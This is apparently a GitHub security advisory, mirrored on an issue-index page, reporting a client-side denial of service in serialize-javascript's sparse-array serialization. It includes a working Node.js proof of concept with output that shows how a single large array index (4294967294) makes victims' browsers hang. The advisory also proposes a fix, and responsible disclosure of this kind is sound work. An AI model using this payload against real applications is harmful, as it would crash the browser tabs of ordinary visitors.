yahoo / yahoo/serialize-javascript

Security Advisory: serialize-javascript echoes an unvalidated sparse-array `length` into client-side `Array.prototype.slice.call`, enabling browser CPU/memory denial of service

Open
#229 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
JavaScript
Stars
2.9k
Forks
215
Avg merge
1d 12h
Merged PRs (30d)
2

Description

Summary

Attribute Value
Vendor / Org Yahoo
Product serialize-javascript
Component index.js — sparse-array serialization branch
Affected Versions >= 5.0.0, <= 7.1.1 (client-side residual of the sparse-array branch)
Severity Medium
CVSS 3.1 Score 6.9
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:H
CWE CWE-789 (Memory Allocation with Excessive Size Value), CWE-1284
Affected File index.js:325 (output construction), index.js:176-181 (sparse detection)

CVSS 3.1 Breakdown

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:HScore: 6.9 (Medium)

Metric Value Justification (from the PoC)
Attack Vector (AV) N Attacker controls an array index via a normal network request parameter.
Attack Complexity (AC) L A single request with a large numeric index; no race or special state.
Privileges Required (PR) N No authentication needed.
User Interaction (UI) R A victim must load the page that hydrates the serialized output.
Scope (S) C Server-produced output crosses into the victim browser, whose resources (a different authority) are exhausted.
Confidentiality (C) N No data disclosure.
Integrity (I) N No data modification.
Availability (A) H The victim browser tab hangs/OOMs materializing an up-to-2^32-1-length array.

Description

Excessive memory allocation in the sparse-array serialization of Yahoo serialize-javascript >= 5.0.0, <= 7.1.1 allows a remote attacker who controls an array index to cause client-side denial of service, by emitting an array-like literal whose unvalidated length (up to 4,294,967,295) is materialized by Array.prototype.slice.call in the victim's browser.

When a sparse array is serialized, the library emits
Array.prototype.slice.call({..., "length": <N>}), copying the original array's length
into the output with no validation or upper bound. Server-side cost is O(assigned
elements), but the hydrating browser pays O(length). An attacker who controls only an array
index (results[req.query.page] = row) produces a ~86-byte response that forces the client
to iterate up to 2^32-1 times.

Security consequence (so-what): an attacker spends a few dozen bytes to hang or crash
the browser tab of every user who renders the affected page — a decoupled client-side
resource-exhaustion (amplification) DoS.

Relationship to CVE-2026-34043 (GHSA-qj8w-gfj5-8c6v): that advisory fixed the
server-side CPU cost of detecting a large array-like (patched in 7.0.5 via
Array.isArray/Object.keys). This report concerns the still-present client-side
emission at index.js:325, which echoes the length into the output executed by the
victim browser. The two have different sinks and different fixes.


Root Cause

The sparse branch materializes the output by merging the raw length into an object literal:

if (type === 'A') {
    return "Array.prototype.slice.call(" +
        serialize(Object.assign({ length: arrays[valueIndex].length }, arrays[valueIndex]),
                  options) + ")";                                  // index.js:325
}

arrays[valueIndex].length is written verbatim. Unlike the Date (index.js:300), RegExp
(index.js:308-311) and URL (index.js:342) branches, which validate their emitted values,
length receives no Number.isInteger/upper-bound check. The generated
Array.prototype.slice.call({length: 4294967295, ...}) is valid JS whose evaluation in the
browser allocates/iterates a 4.29-billion-slot array.


Reproduction Environment

Item Value
Runtime Node.js v26.5.0
serialize-javascript 7.1.1 (installed from npm registry)
OS macOS (darwin 25.6.0)
Build tool npm

Proof of Concept

POC Source Code
package.json
{
  "name": "sjs-cve-poc",
  "version": "1.0.0",
  "private": true,
  "dependencies": {
    "serialize-javascript": "7.1.1"
  }
}
poc02_sparse_array.js
// PoC #2 — client-side CPU/memory amplification via unvalidated sparse-array length.
// Reachability: a public HTTP handler assigns rows by an attacker-controlled index.
// serialize-javascript@7.1.1 echoes the array-like `length` verbatim into the output;
// the victim browser's Array.prototype.slice.call pays O(length).
const serialize = require('serialize-javascript');

function serverHandler(query) {            // models: app builds page state from request
  const results = [];
  results[query.page] = { ok: true };      // pure data: attacker controls only an index
  return serialize({ results });           // embedded as <script>window.__STATE__=...</script>
}

// --- attacker request ---
const out = serverHandler({ page: 4294967294 });
console.log('server output bytes:', out.length);
console.log('server output      :', out);

// --- what the victim browser evaluates (real cost simulation) ---
// Measure the client hydration cost with a smaller but already-crippling length so the
// harness terminates; production `length` = 4294967295 makes this effectively unbounded.
function clientCost(lengthVal) {
  const arrayLike = { length: lengthVal, [lengthVal - 1]: { ok: true } };
  const t = Date.now();
  const arr = Array.prototype.slice.call(arrayLike);   // exactly what the output does
  return { ms: Date.now() - t, materialized: arr.length };
}
for (const L of [1e6, 1e7, 1e8]) {
  const r = clientCost(L);
  console.log(`client slice length=${L}: ${r.ms} ms, array elements=${r.materialized}`);
}

// --- control baseline: dense array of same logical size is NOT sparse -> not amplified ---
const dense = serialize({ results: [{ ok: true }] });
console.log('control (dense len=1) output:', dense);
Execution Steps
  1. mkdir poc && cd poc
  2. Save the package.json above, then npm install.
  3. Save the source above as poc02_sparse_array.js.
  4. node poc02_sparse_array.js
Actual Execution Evidence
server output bytes: 86
server output      : {"results":Array.prototype.slice.call({"4294967294":{"ok":true},"length":4294967295})}
client slice length=1000000: 14 ms, array elements=1000000
client slice length=10000000: 140 ms, array elements=10000000
client slice length=100000000: 1279 ms, array elements=100000000
control (dense len=1) output: {"results":[{"ok":true}]}
Analysis of Results

The server emits a fixed 86-byte string regardless of length, confirming cost is
decoupled from server effort. The client cost grows linearly with the echoed length
(1e6→14ms, 1e7→140ms, 1e8→1279ms); extrapolated to the emitted length of 4,294,967,295
the browser thread is blocked for ~50+ seconds and allocates billions of slots, hanging or
OOM-crashing the tab. The control (a dense one-element array) serializes as a plain
[{"ok":true}] with no slice.call and no amplification — isolating the defect to the
unvalidated sparse-array length echo.


Impact

A single small request lets an unauthenticated attacker embed an amplification bomb into a
page's serialized state; every visitor who hydrates that state suffers a hung/crashed
browser tab. Applications that route user-controlled indices into arrays they later
serialize (pagination, id-keyed result maps) are exposed.


Remediation

Recommended Fix

Validate length once and emit a construction linear in the assigned elements, never
echoing an arbitrary length:

if (type === 'A') {
    var src = arrays[valueIndex];
    var len = src.length;
    if (!Number.isInteger(len) || len > (options.maxArrayLength || 100000)) {
        throw new TypeError('Array length exceeds serialization limit');
    }
    // emit a construction proportional to assigned elements only
    ...
}

This keeps client cost proportional to the data actually present, a maintainer-owned change
at index.js:325.

Workaround

Consumers should validate/limit any user-controlled array index before serialization and
avoid creating sparse arrays from request data.


References

Contributor guide

No contributing guide indexed for this repository

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Read the sparse-array detection at index.js:176-181 and the output construction at index.js:325, then compare the validation used by the Date, RegExp, and URL branches. Run poc02_sparse_array.js to reproduce the client-side cost; done means the sparse path no longer emits an arbitrary length and client work stays proportional to assigned elements.

Written by the indexing model from the issue text.

Assessment

Tech stack
javascript
Domain
security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Active
Clarity
Mostly clear
Newbie friendliness
48/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.